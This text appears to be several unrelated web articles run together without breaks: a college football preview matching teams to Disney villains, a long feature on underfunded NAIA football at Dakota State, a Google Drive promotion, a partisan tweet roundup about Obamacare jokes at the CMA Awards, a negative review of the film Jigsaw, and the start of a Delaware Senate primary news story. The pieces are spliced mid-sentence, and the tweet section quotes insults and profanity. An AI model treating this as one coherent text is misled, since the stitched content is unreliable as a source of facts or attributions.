A sum of 35 years stand between now and the implementation of the ZEV alliance’s action plan, which leaves car makers a lot of time to prepare for the change. Question is, will drivers and vehicle owners be ready for this? Tell us what you think in the comments below.1 Florida State Seminoles 2013 record: 14-0 Key returnees: QB Jameis Winston, WR Rashad Greene, RB Karlos Williams, TE Nick O'Leary, OL Cameron Erving, OL Tre' Jackson, DE Mario Edwards Jr., LB Terrence Smith, CB P.J. Williams, S Jalen Ramsey Key losses: DL Timmy Jernigan, LB Telvin Smith, LB Christian Jones, CB Lamarcus Joyner, RB Devonta Freeman, RB James Wilder Jr., S Terrence Brooks, WR Kelvin Benjamin, C Bryan Stork, WR Kenny Shaw Disney villain: Ursula The Sea Witch, The Little Mermaid Ursula pairs with the Seminoles quite nicely following last week's Jameis Winston crabpocalypse. Florida State stepped all over the poor, unfortunate souls in its path to last season's BCS title game. The 'Noles captured their trident in the form of a crystal football. Yet while Florida State is back, it has to make sure it harnesses its power and keeps the voices at bay. Otherwise, Jimbo Fisher, Winston and company could risk getting too comfortable.
2 Alabama Crimson Tide 2013 record: 11-2 Key returnees: RB T.J. Yeldon, WR Amari Cooper, OL Arie Kouandjio, RB Derrick Henry, WR DeAndrew White, TE O.J. Howard, DT A'Shawn Robinson, LB Trey DePriest, S Landon Collins Key losses: QB AJ McCarron, OL Cyrus Kouandjio, LB C.J. Mosley, S Ha Ha Clinton-Dix, WR Kevin Norwood, OL Anthony Steen, DB Vinnie Sunseri, DE Ed Stinson, LB Adrian Hubbard, DE Jeoffrey Pagan Disney villain: The Evil Queen, Snow White and the Seven Dwarfs It was incredibly tempting to go with Captain Hook here, given all the possible clock-management jokes. But the Evil Queen suits Alabama better. The Crimson Tide want to be the fairest of them all, but they can't get caught staring in the mirror and dwelling on season-ending losses to Auburn and Oklahoma. Nick Saban went out and got a new Huntsman in offensive coordinator Lane Kiffin. Plus, that apple looks pretty dang crimson to me.
3 Auburn Tigers 2013 record: 12-2 Key returnees: QB Nick Marshall, RB Cameron Artis-Payne, C Reese Dismukes, RB Corey Grant, WR Sammie Coates, DE Carl Lawson, DT Gabe Wright, DT Montravius Adams, DT Ben Bradley, LB Chris Frost, CB Jonathan Mincy, LB Robenson Therezie, LB Cassanova McKinzy Key losses: RB Tre Mason, OL Greg Robinson, DE Dee Ford, CB Chris Davis, FB Jay Prosch, P Steven Clark, LB Jake Holland Disney villain: Shere Khan, The Jungle Book Well, yeah, he's a tiger. There's more to this comparison than that. What is Shere Khan afraid of? Fire. A team with a mascot wielding a flaming spear took down the Tigers in last season's BCS championship game. Auburn is intimidating, fast and features a hypnotic offense. Khan's most famous line was, "No matter how fast you run, no matter where you hide, I will catch you." As catchy as HUNH is, I'm thinking Gus Malzahn could repurpose that mantra pretty nicely.
4 Stanford Cardinal 2013 record: 11-3 Key returnees: QB Kevin Hogan, WR Ty Montgomery, WR Devon Cajuste, RB Barry Sanders, S Kodi Whitfield, OL Kyle Murphy, OL Joshua Garnett, OL Andrus Peat, DE Henry Anderson, S Jordan Richards, LB James Vaughters, LB Joe Hemschoot, LB Kevin Anderson, CB Alex Carter, LB A.J. Harpley, DE Blake Leuders, CB Wayne Lyons Key losses: LB Trent Murphy, OL David Yankey, OL Cameron Fleming, RB Tyler Gaffney, LB Shayne Skov, S Ed Reynolds, DE Josh Mauro, FB Ryan Hewitt, DE Ben Gardner, C Khalil Wilkes, CB Usua Amanam Disney villain: Syndrome, The Incredibles Before becoming Syndrome, the brilliant scientist Buddy designed weapons. His greatest one was a big, old robot that simply pummeled other superheroes. So, even though Syndrome did not possess any special powers, he used intelligence to become a supervillain. Stanford has gradually morphed into a West Coast powerhouse, and David Shaw's Cardinal demand respect. Coming off four BCS bowl berths, those nerds are dangerous.
5 Oklahoma Sooners 2013 record: 11-2 Key returnees: QB Trevor Knight, S Ahmad Thomas, LB Frank Shannon, DT Chuka Ndulue, DT Jordan Wade, LB Dominique Alexander, LB Eric Striker, CB Zach Sanchez, S Quentin Hayes, WR Sterling Shepard, TE Blake Bell, RB Keith Ford, WR Durron Neal, OL Tyrus Thompson, OL Adam Shead, OL Daryl Williams, DE Charles Tapper, K Michael Hunnicutt Key losses: CB Aaron Colvin, WR Jalen Saunders, RB Damien Williams, FB Trey Millard, C Gabe Ikard, RB Brennan Clay, OL Bronson Irwin, LB Corey Nelson, S Gabe Lynn, WR Jaz Reynolds, CB Gabe Lynn Disney villain: Scar, The Lion King Scar toppled a king much like Oklahoma upended football royalty in the Sugar Bowl. The irony of Mufasa dropping to the bottom of a cliff probably wouldn't be lost on Bob Stoops, who would make a perfect Scar. Stoops has a dry sense of humor and isn't afraid to deliver a few quips. The Sooners are prone to lulling foes into a false sense of security, but don't be fooled. Led by quarterback Trevor Knight and fearsome linebacker Eric Striker, this team is dangerous on both sides of the ball.
6 Michigan State Spartans 2013 record: 13-1 Key returnees: QB Connor Cook, RB Jeremy Langford, WR Tony Lippett, WR Keith Mumphery, TE Josiah Price, C Jack Allen, DE Shilique Calhoun, DE Marcus Rush, LB Taiwan Jones, CB Trae Waynes, DT Damon Knox, S Kurtis Drummond, S R.J. Williamson, LB Ed Davis Key losses: CB Darqueze Dennard, LB Max Bullough, S Isaiah Lewis, WR Bennie Fowler, LB Denicos Allen, OL Fou Fonoti, OL Blake Treadwell, QB Andrew Maxwell, DT Tyler Hoover, OL Dan France, DE Denzel Drone Disney villain: Sid, Toy Story Michigan State had a psychopathic defense in 2013, and the Spartans wreaked havoc against their opponents' shiny toy offenses. The departure of Darqueze Dennard, Max Bullough and Denicos Allen might temper Michigan State's ferocity, but most of Sparty's offensive standouts are back. Also, blowing stuff up makes Sid feel some type of way.
7 UCLA Bruins 2013 record: 10-3 Key returnees: QB Brett Hundley, LB Myles Jack, CB Ishmael Adams, CB Priest Willis, S Anthony Jefferson, RB Paul Perkins, RB Jordon James, WR Devin Fuller, WR Jordan Payton, WR Devin Lucien, OL Caleb Benenoch, DL Ellis McCarthy, LB Eric Kendricks, TE Thomas Duarte, OL Scott Quessenberry, C Jake Brendel, OL Alex Redmond, LB Isaako Savaiinaea, S Tahaan Goodman Key losses: LB Anthony Barr, OL Xavier Su'a-Filo, WR Shaq Evans, DE Cassius Marsh, LB Jordan Zumwalt, LB Keenan Graham, DE Owamag
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none of them Division I. Or II. Or III. But Dakota State did. In the NAIA, you get what you pay for. There is no sense of parity. For the NAIA, the Northern Plains are a hotbed of talent. Cynics would say this is because there's just one big team nearby, the Cornhuskers, and everyone else relies on whatever Nebraska discards. But for whatever reason, schools like Morningside are dominant programs. Grand View University in Des Moines began last decade as a perpetual loser, but is now a small dynasty. Grand View shows what happens when you spend money. In 2007 GVU decided to field a football team, the first in school history, and decided to spend money on its football program, recruiting players from Texas to come north. The results have been immediate: A 14-0 record in 2013 that culminated in a national championship. Let's be clear here. In the NAIA, you get what you pay for. There is no sense of parity; there are scholarship limits, but no limits on how many players you may have in a program. So private schools can stock up on actual talent, and then let the freshman, JV and third-string squads full of walk-ons cover the cost — they're paying full tuition for the privilege. Some schools have programs of 150 players or more. And those are the schools that usually make the playoffs. "There can be a great discrepancy in the size of budgets at NAIA schools that plays a role in the recruiting of players," allowed Matt Hanson, NAIA's Director of Legislative Services. This is the promise we make to college football players: Maintain your academic standing, which has very little to do with football ability, and we will offer you the chance to earn untold millions when you leave; we won't pay you, but someone might. It is a gamble in which the school cannot lose. And in the NAIA, they hedge their bets. Johnson is one of those bets. Brought to this school with the promise of a Pell Grant and scholarship money, Johnson boarded a plane from Palo Alto and came to a place he'd never heard of, a place he never imagined himself to be, and called himself a Trojan. ***
Head coach Josh Anderson on the sidelines with starting QB Justin Summers and offensive lineman Zac Woods. Head coach Josh Anderson on the sidelines with starting QB Justin Summers and offensive lineman Zac Woods.
All coaches have their eye on their next job. This job had its eye on its next coach. Dakota State coach Josh Anderson led the team to four wins this year in the NAIA's North Star Athletic Association. That's the most they've won in their five years in conference play. They nearly took the conference with only two wins last year, but lost their final game to finish 2-9. "It's crazy to think we could have won it with three wins, but that's how it is here," he said. Anderson, a Madison native, was once a Trojan, spending 1994 and 1995 at tight end. But then, like some of his very own players, Anderson bailed for higher ground and secured a scholarship at North Dakota State University, where winning was not a hope but an expectation. Anderson then worked his way up the coaching ranks, most recently in an Arizona high school in the mountains south of Flagstaff. The area isn't cacti and cow skulls, and the football is tough as hell. "White Mountain boys are not to be messed with," said Anderson. The area is lumberjack country. The fans expect the best, and Anderson delivered, being named the Arizona Republic's Small School Coach of the Year and winning the 2008 3A state championship. Then he came to Dakota, called home by a wife who wanted to be closer to family and the prospect of leading this tiny team to something other than utter futility. Back in Madison, he somehow had less money, fewer resources and maybe a quarter of the passion he saw in high school. But Anderson's relative success this year, his sixth season as coach, is also a challenge: After the year they've had, he's not sure he can afford to pay his starters enough to keep them. NAIA players are more like free agents signed to one-year deals, and their coaches more akin to general managers. From his meager athletic budget, Anderson had to divide 29 athletic scholarships worth $2,500 each into a football team of 86 souls. This often means kids on the lower rungs get $500 for the year, if they get paid at all, while the top recruits pull in $5,000 or more. Winning is costly. Say this for the kids on the Dakota State roster: Few of them are under the ongoing delusion of collegiate amateurism. Cliff Marshall, a young 300-pound Chicago-area sophomore with a 1,000-watt smile, doesn't blink when discussing the realities of the NAIA. "It's a business. Let's not even kid around," Marshall said. "And if you can't play, they'll pay somebody else." "It's a business. Let's not even kid around. And if you can't play, they'll pay somebody else." Marshall is one of a small contingent of players from out of state. Anderson recruited kids from southern California, Florida and Texas, usually by email. After some of these kids learned that Florida Atlantic and Florida International and Florida A&M were going in a different direction or only offering partial scholarships, they ended up here, the pirate ship of college football. Now they're in a place they never imagined they would be, a place that was 94-percent white at the last Census. But it's easy to tell most of the out-of-state athletes in Madison, S.D., In their own skin, they're in a sort of uniform all the time. In Madison, if you're black, the assumption is you probably play for Dakota State. Madison has an uncertain relationship with the team. Some of that can be attributed to the constant losing. But Dakota State has other challenges. Over the years, there's been little continuity at head coach, no face of the program. To make up for what the school won't give him in athletic dollars, Anderson is often literally going door-to-door with his hand out. The school can't pay to feed 86 kids for three weeks before the season. So to afford preseason camp, Anderson is forced to turn to restaurants, bars and churches ("Church dinners are the best ones," he says wistfully. "Everything homemade.") But not everyone is receptive, like main street cafe co-owner Beth Klingbile. She should fit the profile of a school booster: A cheery local business owner who graduated from Dakota State and stayed in town. But when the topic of Dakota State athletics comes up, Klingbile's smile is a little less certain. "Yes, they come and ask for donations," said Klingbile. "But that's the only time I see them." Have you ever given them money? She shakes her head. Anderson realizes he's competing for dollars with everyone from youth soccer to missionary outreach programs. And if he has one true supporter in Madison, it is a man with the unlikely name of DeLon Mork. Mork owns the Dairy Queen in town, as did his father and his grandfather. He survived testicular cancer, twice. On National Blizzard Day, he outsells any DQ in the country. He busies himself around the store, fiddling with the shades or clearing counters. Customers leaving get a "see yuh!" in his heavily-accented speech from the Upper Plains. People like DeLon Mork. A few wins and a few more close losses have him in high spirits. "Aw jeez, dey're just turnin' it around up there, aren't dey!" he says, his perpetual smile brightening. He, perhaps more than anyone else, believes in this team and his friend, Coach Anderson. Two years ago, after nonstop losing, Dakota State's president pledged 2013 would be Anderson's last season. Then that president resigned. His replacement, an interim president, hasn't issued any final edict. In the meantime, in an effort to win now and save his job, Anderson decided to go on a spending spree and spent double his $70,000 athletic budget. "I told my wife, I'm sick of nickel-and-diming it," he said. "If I have to hold bake sales, I'll make the cookies myself." He is not exaggerating. There is no certainty he will be able to make up the money he invested in this year's class — with most of football season in the books, he still has a $20,000 hole. He brought in a four-star defensive tackle from South Florida, to whom he pledged $10,000. He spent a couple grand on a tiny cornerback from Jacksonville, Fla. And he offered a cool $5,000 to a 5'10, 190-pound running back from San Mateo Junior College named Robert Johnson. *** Johnson spent all of summer and fall camp here, making his presence known as the fastest, most game-ready back on the field. And it wasn't just speed and power — he also brought the feel of a real program with him, the swagger few of his teammates possessed, something that helped them all believe that playing for Dakota State meant something more. The College of San Mateo is a feeder school to FBS programs. Johnson watches his JUCO teammates from last season on television, at Alabama, at Auburn, at LSU, at Oregon. it wasn't just speed and power — he also brought the feel of a real program with him, the swagger few of his teammates possessed. Robert Johnson with quarterback Justin Summers. Robert Johnson with quarterback Justin Summers. Once here, though, he was quickly introduced to the realities of college sports, the NAIA, and Madison. After late-summer practices in which he dominated scrimmages, Johnson was pulled into his coach's office. Bad news. He couldn't play this year. The NAIA decided he was supposed to take 12 hours in his final term at San Mateo before joining Dakota. He didn't. That was that. No further appeal. Once again, the Nowhere Kid was trapped. To the coaches, to the school's supporters and to Johnson, this is a manifest injustice. Here's a kid who just wanted to play, who came 1,500 miles from home to this foreign place because they told him he had a shot. But like everything in this place, there is more to the story. First, in this rabbit hole of not quite anything quite being what it seems, even his claim of filial loyalty to his father doesn't quite add up. For four years, Johnson's father lay in a nursing home 100 miles south of his Johnson's hometown of East Palo Alto, Calif. In four years, Johnson never once made it down to see him. He says now it would have been difficult. He didn't have a car, and couldn't organize a ride down. But his mother, a secretary at Stanford University, says simply that her son never asked to go. He says that a half-sister intervened, writing him out of his father's will, stealing the man's cellphone and then cutting Johnson out of his life. That couldn't be independently verified. A guess: Perhaps he didn't want to see this once-powerful man laid up in a hospital bed, tubes running out of his arms. His dad was a dad but also a refuge. To hear he was incapacitated was to hear not only that his father was ill, but that his entire support system from his earliest days as a child and as an athlete was no longer there. It was like hearing that your house burned down with all your stuff in it, everything that made you safe and made you who you are. Oh and also, your dad had a stroke. After some prodding, he admits that he simply couldn't see his dad that way. "As bad as I wanted to see him I couldn't because I know I would break down and become weak," he says in an email. "Not seeing him helped me grow up. Decisions that I would (have) normally asked my dad about I made them by myself." Then there's the money. Johnson talks about getting by, just barely, in South Dakota. He claims he has a delivery job, running school supplies to people who order them. He doesn't have set hours, and he makes money off the number of deliveries he makes. He says he sends money home to his mother from every paycheck. Except she says it's not like that. "He doesn't send money," his mother said. "He gets money, from here, from what his father left him." Every month, she says she sends Johnson $1,300 from his father's pension and death benefit. Asked about this, Johnson didn't respond for days, and then later said he splits the check with his mother, sending $600 a month back, which she confirmed. Finally, there is football. Since fall practice, Johnson hasn't made much of an effort to return to the team. The group he once inspired now barely mentions his name. When a clutch of football players in the lunchroom are asked about him, they mention, yeah, they heard about him... months ago. Now it's "Don't really know the dude," and "Hasn't been around." Anderson complains that Johnson could be out there practicing, even if he can't play. He could be lifting with the team, getting stronger, helping out. But he isn't. Johnson's explanation is simple: If he's injured, he's done for. What good is practicing when he could end up broken without ever performing before scouts at a bigger program? Wonderland is where he followed the white rabbit of an NFL dream. Now, he waits, a cat without a grin, a grin without a cat. ***
This Saturday in October, there are no scouts in the stands; there rarely are. There is only Johnson and a few other injured and ineligible kids clustered on the sideline. A few yards apart, the rest of the team huddles. A small crowd slowly grows in the stands. This game, against the University of Jamestown (N.D.) Jimmies, would set the tone of the rest of the season. At 3-3, with the possibility of a winning season on the horizon, this conference game could be the team's first chance to announce it was no longer satisfied with all the losing. And a loss would almost certainly seal Dakota State's fate for the year. It wouldn't be easy — coaches knew Jamestown recruited big players, choosing size over speed, so their hurry-up offense would have to counter with short, horizontal plays in quick succession that tired out their larger opponents. On the field, the Trojans' redshirt sophomore quarterback was taking a beating. Hit after hit during the season appeared to leave him unsteady. The score was 10-3 at the half, and Dakota State was lucky it was that close. Arms crossed, Anderson was running out of ways to say "wrap up and tackle" or "double the inside rusher." The secret weapon, the one that might have been the key to saving this team and his coaching career, stood on the sideline. Anderson isn't sure what to make of Robert Johnson now. At least, that's what he says. He expected an all-star, a game changer, a job saver. What he got was a slogan, a promise, and then... nothing. He wants Johnson back with the team, lifting and running plays, making the defense better even if it doesn't benefit Johnson personally. Every win and every contribution by every player helps, and helps bring a better caliber of player to Dakota State. But oh, it would help Anderson. Every win and every contribution by every player helps, and helps bring a better caliber of player to Dakota State, and then — who knows? He knows Johnson is far better than his typical recruit and could have been that kind of player who changes a program and gets a coach another job, maybe one with a D-II school, or an assistant's job at D-I. The coach Anderson first mentions as a model is Brian Kelly, who rose from obscurity at places like Assumption College in Massachusetts and Michigan's Grand Valley State to coach Notre Dame. They are similar in height and build. Same eyes. Squint, and you can see Anderson 20 years from now with Kelly's pasted-down coif and downturned mouth. Win, and Anderson could begin to dream of Kelly's career path. Johnson was that important, but Anderson still scoffs at Johnson's NFL dream. He wasn't even the best player at San Mateo. "He'd be great at Division III. A good Division II player," Anderson said. "The NFL?" He shakes his head. NAIA is Robert Johnson's acronym. Halftime ends and the teams make a slow jog back to the sidelines. Dakota State's offense lumbers onto the field, but there's something different. The redshirt sophomore quarterback who spent half the game on his back is now on the bench. In his place is the best hope Anderson has, a gawky beanpole of a local hero named Jake Giles. Giles is nominally on a redshirt in his true freshman year, but he's been coming on strong for the quarterback position in practice, and his teammates have noticed. Dakota State shares its field with Madison High School, which Giles led to the state championship game last year as a first-team all-state selection. In a coup for the school, Anderson managed to land Giles against offers from schools in Divisions II and III. They are both hometown kids at their hometown school, Anderson and Giles, and for once, the Trojans look like a real team. Giles has the offense rolling, sprinting to a score on a red-zone QB bootleg, hitting receivers in stride and putting the defense on its heels. People in the stands warm up. The sideline does too. The future of the program blossoms before the crowd's eyes and they know it. This is what hope looks like when you haven't had much of it in a good long while. Just beyond the clapping and shouting is a quiet cluster of $20,000 in promises Anderson made earlier this year that can do nothing but stand on the sideline. Game day is a choice when you're ineligible. You can sleep through the game, usually played around noon. You can come to the game and sit in the stands. Or you can suit up and watch from the sideline. Three ineligible players chose the sideline for the Jamestown game. Together, they comprised nearly one-third of Anderson's budget. Then, because of injury, behavior or academics, they found themselves ruled out. Ineligible players Collins Macauley, Robert Johnson, and Colby Morgan watch from the sideline. One of them is Johnson. Another is Colby Morgan, a four-star defensive tackle from South Florida whose hand injury scared off bigger schools. Then, before Dakota State's season, he tore his MCL. It hasn't been fixed yet. That's in part because he has no insurance, and Dakota State doesn't offer him much in the way of health care. Many of the out-of-state football players are on Medicaid, Anderson and players said, leaving them without many options when they're injured. Morgan is waiting for the end of the semester to have surgery at home. He doubts he'll come back. And about that money. Morgan was promised $10,000 to come here, but once his hand injury became apparent, he says the school started waffling on its pledge. They weren't sure they could pay him, or even that they should. He says he's not bitter. He's just done here. Collins Macauley, the tiny cornerback from Jacksonville, Fla., is the third ineligible on Anderson's roster, one whose grades kept him on the sidelines. Macauley continues to practice with the team and wants to stay. Johnson has been noncommittal. He wore his No. 22 Trojans jersey on the sidelines and kept his eyes on his iPhone. His girlfriend was in the stands. To the running backs, he shouted encouragement. "Hit that hole! Hit that hole!" he called to Jeremy Christner, the tall, lumbering running back from Broken Bow, Neb. To his smaller counterpart, Jabree Shorter, Johnson yelled, "Don't dance in there!" He didn't make eye contact with Anderson, who didn't seem interested in saying hello, either. The ineligible players, grouped near the north end zone, chatted easily. "These the real coaches right here," Macauley said, pointing to himself and Johnson. "Fuck this shit," Johnson said evenly when a running play lost 2 yards. "Fucking bullshit. They calling everything wrong." Giles had the offense rolling, but the defense still struggled to handle bigger Jamestown, and the score was 37-22 with less than two minutes left. The game appeared out of reach. Then, a big return on a squib kick. The Trojans scored in one play, a Giles pass, and Dakota State was within a touchdown, 37-29. The Jimmies got the ball back but for once, the Dakota State defense held them back. Something was happening. The crowd began to stir. Third down, incomplete pass. Fourth down-and-8. The clock showed 40 seconds left. A big punt return, a couple quick passes — anything was possible. The rest of the season was possible. Johnson and the other ineligibles were quiet for the first time all afternoon, watching, muttering under their breaths, "Come on, come on, come on." The long snapper sent the ball back, the punter rolled to his right, and... catastrophe. A flag on Dakota State. Running into the kicker. First down, Jamestown. Game over. It was at this point that Robert Johnson showed real emotion for perhaps only the second time that weekend. He did this by throwing his phone on the ground, WHAM!, and that means something: This phone is his life. It's his connection to his home and his friends and everything that isn't South Dakota. In that one instant, even here in the middle of the prairie, Johnson cared about this group of people he'd likely never play with again. Or maybe in that flag he just saw the futility, the absurdity, of his own situation. The team left in pieces, the starters greeted on the field by the booster-led "home families" that serve as surrogate parents to a few players each year, the backups shuffling to the locker room, the ineligibles headed home. The coaches went back to their offices to watch tape for a game the following week. In a few minutes, everyone was gone. The field once again belonged to the high school. If no one told you, you'd never guess they played college football here. *** "I can't go no lower," said the Hatter: "I'm on the floor, as it is." —Alice in Wonderland
You come to this stretch of glacial till to write about an organization, the NAIA, that cynically manipulated a young football player into serving as a practice dummy. You expect to find a system of one-way abuse. You hope to find some kind of feel-good story, anyway. It is not there. The truth is, everyone in this system is using someone. The coach needs the kids to keep his job and get the next one, even if it means cutting scholarships because of poor performance or shit-talking players who don't practice. The players use the team as a springboard to a bigger program or as a safe haven from NCAA suspensions, eyeing their options all the while. And the league uses everyone, conveniently only drug-testing during the championship game and crying poor-mouth the rest of the year. the NAIA and Dakota State are refreshingly honest — they really don't give a shit. So what? That's college football. But here's what's surprising: Here, it's all out in the open. It's all above board. Everyone here has agreed to the principles at hand, even if they are severe and unforgiving. In the world of college football, where so much is premised on the fantasy of loyalty and care for players' well being, the NAIA and Dakota State are refreshingly honest — they really don't give a shit. Universities, especially the big ones, especially the big, successful ones, like to talk about preparing young men for life after football. Somewhere in every coach's wallet is a tiny script that reads, "My most important job is to get my players ready for the future." It's saccharine and horrible and cynical, a lie agreed upon. But really, what better preparation is there for the real world, for life after football, than the lessons taught in the NAIA? Life is brutish and short. No one will catch you if you fall. Dreams do not come true. Perform and eat. Fail and starve. Nowhere Kids in the cold reaches of the Northern Plains don't get the chance to appeal, no matter if their fathers are dying or their desire to play flagged for a semester or they just could not will themselves onto the field or into the classroom. There are no breaks in the looking glass in Wonderland. Dakota State finished the 2014 season 6-5, 2-4 in the North Star Athletic Association. Robert Johnson did not appear on the field. He is still uncertain if he will return next season.
Tweet ShareYou can never have too much Google Drive space, right? At least that's what Google thinks, and it's giving away 2GB today to anyone that wants it.
This has become a yearly tradition for the company, with today's offer specifically honoring Safer Internet Day 2016. To get the extra Drive space, all you have to do is sign into your Google account and review your security settings, including factors like two-step verification, authorized devices, account verification settings, and a couple more. The process takes just a few minutes, and once you complete the check-up, you'll be awarded the extra 2GB of permanent Drive space for free.
Those who took advantage of the same Google promotion last year can rejoice, as they are welcome to snatch up this year's promotion as well. There's no word on when this 2GB offer will expire, but you have at least one week to complete the security check-up.Once again, Twitter was prescient.
After Brad Paisley and Carrie Underwood mocked Obamacare on the CMA Awards, whiners immediately twisted their knickers over the stars who “slandered” Obamacare. This didn’t take long:
How to characterize the Left's reaction to the #CMA jokes on #ObamaCare? "Free speech for me, not for you evil racist Teabaggers." — James Del Rey (@JimDelRey) November 7, 2013
Like clockwork.
Am I racist because I laughed at the CMA Obamacare jokes? #CMAs #tcot — Tim McCormack (@MrTimMcCormack) November 7, 2013
Of course you are! Mockery of Obamacare? Totally racist, according to the “I see white people” crowd. Because isn’t it always racist when “rich, white people” laugh at President Boyfriend’s failures?
https://twitter.com/brocka215/status/398263879580790784
https://twitter.com/JuliaKay04/status/398256278994046976
Yeah- the rich, white singers at the #CMAs have profound understandings of #Obamacare and other social issues #shakeitforme #mouthbreather — ethical market actor (@ebrownt2) November 7, 2013
Why yes, a crowd of rich white people just booed Obamacare. #CMAs — Little Winged Potato (@shandy_d) November 7, 2013
FUCK CMA'S THESE WHITE PPL ACT LIKE OBAMA WAS SUPPOSED TO CHANGE IT ALL BY HIMSELF AND WITHOUT HIS CONGRESS MEMBERS! — Shakyler (@HerMansDesire) November 7, 2013
https://twitter.com/yinyang1213/status/398257092186099714
The CMA Awards just showed us that even though everybody hates black people. NO ONE minds borrowing our culture. #CMAAwards #ObamaCare — GFBC NEWS Network (@GFBCNEWSNETWORK) November 7, 2013
https://twitter.com/PomPrincessMomJ/status/398300650645098496
https://twitter.com/brocka215/status/398262638666608640
It's pretty telling when a group of (mostly) white rich people sit around and laugh (and boo) affordable healthcare… #CMAawards — Dustin Allen (@dusteallen) November 7, 2013
There's nothing "accidentally racist" about doing ACA jokes and booing health reform on the Country Music Awards, is there — Jade Helms Deep (@eclecticbrotha) November 7, 2013
#CMAawards in true stereotypical republican propaganda BS the rich white folk are making of Obamacare — Danielle Bates (@dee_bates) November 7, 2013
https://twitter.com/tanstaboi/status/398265447444799488
Wtf with the CMAs, jumped on Obama care?? 90% of their listeners are illiterate white trash!! — Karen Browder (@KarenBrodr) November 7, 2013
Ah I see they have dropped some Obama jokes on the #CMA awards. Pandering to ignorant and worthless rednecks and white trash sure is easy. — Tim Michaels (@CaptainCrash95) November 7, 2013
https://twitter.com/antipetty/status/398256961767997440
https://twitter.com/JulianSanctus/status/398256114036662272
Hold up. Don’t forget sexism!
Is this what we have to look forward to today?
https://twitter.com/1richardhead/status/398264213941915648Full Review
They should have called it Jig-Snore.
Believe me, I take no pleasure in trashing a bad film, but this one deserves it. And before you accuse me of being a Saw and/or torture porn hater: Bite your tongue! I’m a huge fan of the original Saw, and Saw II was a worthy sequel. At the same time, I’m objective about the fact that every sequel since has been varying degrees of total crap. So, what did I expect from Jigsaw, the 8th installment in the long-running yet recently-dormant franchise that was once a Halloween staple? After a 7-year hiatus, I expected more than this—and you should too. When franchises like A Nightmare on Elm Street and Friday the 13th are begging for reboots, and Halloween 2018 already in the forefront of horror fan’s brains, there’s no excuse for giving us the worst chapter in the entire Saw franchise and dressing it up like a tasty holiday treat.
Official Synopsis: Thirteen years ago, on Halloween weekend – SAW and the character of JIGSAW introduced the world to a new face of horror. For seven straight years “If it’s Halloween it must be SAW” was a holiday tradition. This October 27… Lionsgate and Twisted Pictures proudly present JIGSAW! After a series of murders bearing all the markings of the Jigsaw killer, law enforcement find themselves chasing the ghost of a man dead for over a decade and embroiled in a new game that’s only just begun. Is John Kramer back from the dead to remind the world to be grateful for the gift of life? Or is this a trap set by a killer with designs of their own?
Jigsaw is directed by Michael and Peter Spierig from a script penned by Pete Goldfinger and Josh Stolberg (shame on you all!); the film stars Matt Passmore, Tobin Bell, and Callum Keith Rennie.
I know that complaining about a film’s continuity is the lowest common denominator of analysis and criticism. Once you start complaining that such-and-such character couldn’t possibly have had time to lay all the groundwork for the perfect crime, you start down a slippery slope, one that suggests films must accurately represent physical reality in order to be deemed successful. In actuality, nothing could be farther from the truth: As a work of fiction, a film has every license to play fast and loose with timing in order to emphasize powerful storytelling. And ask yourself: Should characters in films take bathroom breaks at reasonable intervals, too, in the name of realism and continuity? Of course not! So, we accept that we’re being given a forced perspective (one that filters out the excess), and in the case of Jigsaw, we have to expect at least a bit of retroactive continuity, as 99% of the characters from past Saw films (including the titular killer himself) are all dead.
So why am I taking Jigsaw to task? The film presents itself as a riddle and asks you to crack the mystery—but the game is rigged from the get-go. There’s an episode of Bob’s Burgers (stay with me now) where Linda Blecher holds a mystery dinner theater at the restaurant. She opens by telling the guests that everyone is a suspect—except her. It’s revealed at the end of the performance, though, that Linda was indeed the killer the whole time. When the crowd protests, she replies, “What? It’s a twist!” No, it’s a lie. And Jigsaw is guilty of perpetrating this same type of boldfaced untruth, putting us on a case but withholding vital information. And while plot-holes are another thing that must be forgiven when looking at a film in its entirety, Jigsaw’s are so big they actually imply the presence of characters who don’t exist.
Don’t believe me? When watching the film, ask yourself: Who hit the dirty cop with a syringe full of drugs? If there are only 2 people in the room besides him, it must be one or the other, right? But what if the other two are unconscious? Then there must have been someone else in the room with them. But this isn’t a case of, “Oh, Jigsaw has lots of followers, so it must have been another random protégé” and those who do plunk down the dollars to see the movie will agree. After being tossed that pathetic excuse for a Deus Machina, you’ll completely forget about how impossible the Act 2 body swap must have been; in comparison, that boner is just a blip.
Am I asking too much of a movie? I think not! If you go back and re-watch the first Saw, you’ll realize there were clues pointing to the fact that John Kramer (played by Tobin Bell) was the killer, even before the big reveal. Sure, it might take 10 times, but you’ll begin to see a picture that places the seemingly innocuous cancer patient dead center. What’s worse, naming the film Jigsaw is actually a disservice to John Kramer’s good (bad?) name. In Saw III, Kramer killed his most trusted and loyal protégé; her crime: Designing a trap that didn’t really offer its victim a chance for redemption. She broke a cardinal rule. And that’s what Jigsaw does: It puts us in a trap for 90 minutes, commands us to put our thinking caps on, then delivers a series of “twists” that can’t possibly be predicted and, worse, are used as cheap subterfuge for a truly dull script. In the end, our efforts to decipher (not to mention our excitement for the franchise’s return) were all for naught, and Jigsaw shreds our ribcages and spits in our faces (metaphorically, of course).
Look, dropping a ton of new info regarding John Kramer’s past isn’t exciting if it only serves to explain a boring sequel that shouldn’t exist in the first place. All that does is muddy the waters of what’s already the most complex franchise of the 21st Century. Nobody’s got time for that. All Jigsaw archives is making us wonder if perhaps John Kramer has a secret, identical twin we never knew about. (Spoiler: He doesn’t). We get a few new traps, but nothing as exciting as what we’ve seen in past installments. What’s meant to be Jigsaw’s greatest accomplishment is little more than an oversized garbage disposal. And we get new characters, one of which (Eleanor Bonneville played by Hannah Emily Anderson) is legitimately compelling. But the other newbies are just the usual, recycled victims and misguided proteges. Nothing to see here, folks.
Bottom Line: Jigsaw is the worst installment in the Saw franchise—and that’s really saying something. While it’s always a pleasure seeing Tobin Bell in action, and Hannah Emily Anderson is a scene-stealer who proves she deserves top billing, the movie is an affront to those of us who love the Saw films the most. It doesn’t work as a prequel, sequel, reboot, or standalone. Worst of all: It’s boring.WILMINGTON, DEL. - It's the "tea party" vs. the Republican Party in Tuesday's Senate primary in Delaware, where a popular moderate is suddenly under siege from a little-known conservative who in any other year might have been relegated to the footnotes of 2010's election records.
That's not an entirely unfamiliar narrative in a year in which tea party organizations have ousted two incumbent senators. But Christine O'Donnell's battle with Rep. Mike Castle perhaps embodies the movement's greatest test, because unlike in other races in which the GOP has offered the tea party an awkward embrace, the Republican Party is fighting back.
